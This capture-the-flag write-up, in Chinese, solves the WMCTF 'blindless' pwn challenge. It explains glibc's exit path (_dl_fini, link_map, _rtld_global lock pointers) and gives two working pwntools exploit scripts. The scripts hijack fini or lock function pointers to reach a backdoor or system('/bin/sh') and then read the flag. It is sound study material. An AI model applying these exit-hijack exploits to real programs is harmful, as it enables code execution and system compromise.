blindless grxer@Ubuntu22 ~/s/m/w/blindless> checksec main [*] '/mnt/hgfs/share/match/wmctf/blindless/main' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
给了后门函数,executeBrainfuck函数可以根据输入的code,实现以malloc的data为基准的任意高地址写数据,data大小没有限制,可以mmap到libc固定偏移处
_dl_fini static int __libc_start_main( int (*main)(int , char **, char **MAIN_AUXVEC_DECL), int argc, char **argv, ElfW(auxv_t ) * auxvec, __typeof(main) init, void (*fini)(void ), void (*rtld_fini)(void ), void *stack_end )
多个构造函数时存放在.init_array中,init(一般就是__libc_csu_init)就负责遍历.init_array来执行多个构造函数
多个析构函数放在.fini_array中但是fini(一般是__libc_csu_fini)是个空函数
析构就由ld的析构函数 rtdl_fini负责,rdl_fini实际指向_dl_fini()函数,被编译到ld.so.2中
ld.so.2会通过dl_open()把所需文件映射到进程空间中, 他会把所有映射的文件都记录在结构体**_rtld_global**中,进程终止, ld.so.2需要卸载所映射的模块, 这需要调用每一个非共享模块的fini_arrary段中的析构函数
Linux Namespaces机制:namespace就是一个进程的集合, 这个进程集合中可以看到相同的全局资源
struct rtld_global { #define DL_NNS 16 struct link_namespaces //描述命名空间 { struct link_map *_ns_loaded ; unsigned int _ns_nloaded;
link_map *_ns_loaded 用来描述进程映射的一个模块
struct link_map { Elf64_Addr l_addr; char *l_name; Elf64_Dyn *l_ld; struct link_map *l_next ; struct link_map *l_prev ; struct link_map *l_real ; Lmid_t l_ns; struct libname_list *l_libname ; Elf64_Dyn *l_info[76 ]; const ElfW (Phdr) * l_phdr; ElfW(Addr) l_entry; ElfW(Half) l_phnum; ElfW(Half) l_ldnum;
typedef struct { Elf64_Sxword d_tag; Elf64_Addr d_ptr; } d_un; 64 位程序占8b it 或者保存一个虚拟地址,或者保存一个整数,可以根据特定的标志进行解释。 } Elf64_Dyn; #define DT_INIT 12 #define DT_FINI 13 #define DT_INIT_ARRAY 25 #define DT_FINI_ARRAY 26 #define DT_INIT_ARRAYSZ 27 #define DT_FINI_ARRAYSZ 28
_dl_fini遍历rtld_global中所有的命名空间,遍历命名空间中所有的模块,找到这个模块的fini_array段, 并调用其中的所有函数指针
if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL ) { if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0 )) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n" , DSO_FILENAME (l->l_name), ns); if (l->l_info[DT_FINI_ARRAY] != NULL ) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t ) array [i]) (); } if (l->l_info[DT_FINI] != NULL ) DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr); }
.fini_array地址l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
,同时控制l->l_info[DT_FINI_ARRAYSZ]大于0即可,执行.fini_arry里函数指针所指向的函数
或者直接控制l->l_info[DT_FINI]->d_un.d_ptr,直接执行地址处函数
l->l_info[DT_FINI]->d_un.d_ptr原本是指向
我们只需要修改l->l_addr使l->l_info[DT_FINI]->d_un.d_ptr+l->l_addr指向backdoor,同时l->l_info[DT_FINI_ARRAY]修改为0,即可
另一种方法:调用析构函数时由于rdi是固定的地址(libc2.31为 _rtld_global+2312),所以可以控制rdi为/bin/sh,fini为system地址或者把.fini_arry指向system got表
from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ) pwnfile='./main' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE' ]: io = remote() else : io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends=True ) ru = lambda x: io.recvuntil(x, drop=True ) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *' +x) dbpie = lambda x: gdb.attach(io,'b *$rebase(' +x+')' ) b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4 ,b'\x00' )) uu64 = lambda x : u64(x.ljust(8 ,b'\x00' )) p =lambda x,y:print ("\033[4;36;40m" +x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex (y) + "\033[0m" ) def find_libc (func_name,func_ad ): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase' ,libcbase) return libcbase def write (content ): res = b'' for i in range (len (content)): res += b'.' + p8(content[i]) + b'>' return res while True : try : io = process(pwnfile) sla(b'ta size' ,b'1000000' ) sla(b'size' ,b'100' ) code=b'@' +p32(0x7fe5e466f190 - 0x7fe5e4357010 )+write(p32(0x3CB1 )[0 :2 ]) code+=b'@' +p32(0x7f30010c62a0 -0x7f30010c6190 -2 )+write(p64(0 ))+b'q' sla(b'code' ,code) data=io.recvrepeat(1 ) print (data) if b'flag' in data: print (data) pause() else : io.close() except : io.close()
劫持rtld_global中的函数指针(一般时上锁解锁的函数),调用关系 exit()–>__run_exit_handlers–>_dl_fini–>rtld_lock_default_lock_recursive–>rtld_lock_default_unlock_recursive
其中rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
来自于_rtld_global
结构体
其中rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive
调用时参数
__rtld_lock_lock_recursive (GL(dl_load_lock)); __rtld_lock_unlock_recursive (GL(dl_load_lock))
GL(dl_load_lock)
也是从_rtld_global
里取出来的值,即_rtld_global._dl_load_lock.mutex
的地址
libc和ld偏移通常第2字节处不一样,256种可能
一种方法就是改rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
其中一个为ogg
或者改rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
其中一个为system,改_rtld_global._dl_load_lock.mutex
处为“/bin/sh\x00”
from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ) pwnfile='./main' elf = ELF(pwnfile) libcelf=elf.libc rop = ROP(pwnfile) if args['REMOTE' ]: io = remote() else : io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends=True ) ru = lambda x: io.recvuntil(x, drop=True ) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,'b *' +x) dbpie = lambda x: gdb.attach(io,'b *$rebase(' +x+')' ) b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4 ,b'\x00' )) uu64 = lambda x : u64(x.ljust(8 ,b'\x00' )) p =lambda x,y:print ("\033[4;36;40m" +x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex (y) + "\033[0m" ) def find_libc (func_name,func_ad ): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) p('libcbase' ,libcbase) return libcbase def write (content ): res = b'' for i in range (len (content)): res += b'.' + p8(content[i]) + b'>' return res while True : try : io = process(pwnfile) sla(b'ta size' ,b'1000000' ) sla(b'size' ,b'100' ) code=b'@' +p32(0x7fc4cf08c968 -0x7fc4ced75010 )+write(b'/bin/sh\x00' ) code+=b'@' +p32(0x7fc4cf08cf60 -0x7fc4cf08c968 )+write(p32(0xb6e290 )[0 :3 ])+b'q' sla(b'code' ,code) sleep(0.5 ) sl(b'cat /flag' ) io.interactive() except : io.close()
参考链接 关于exit的利用:https://www.anquanke.com/post/id/243196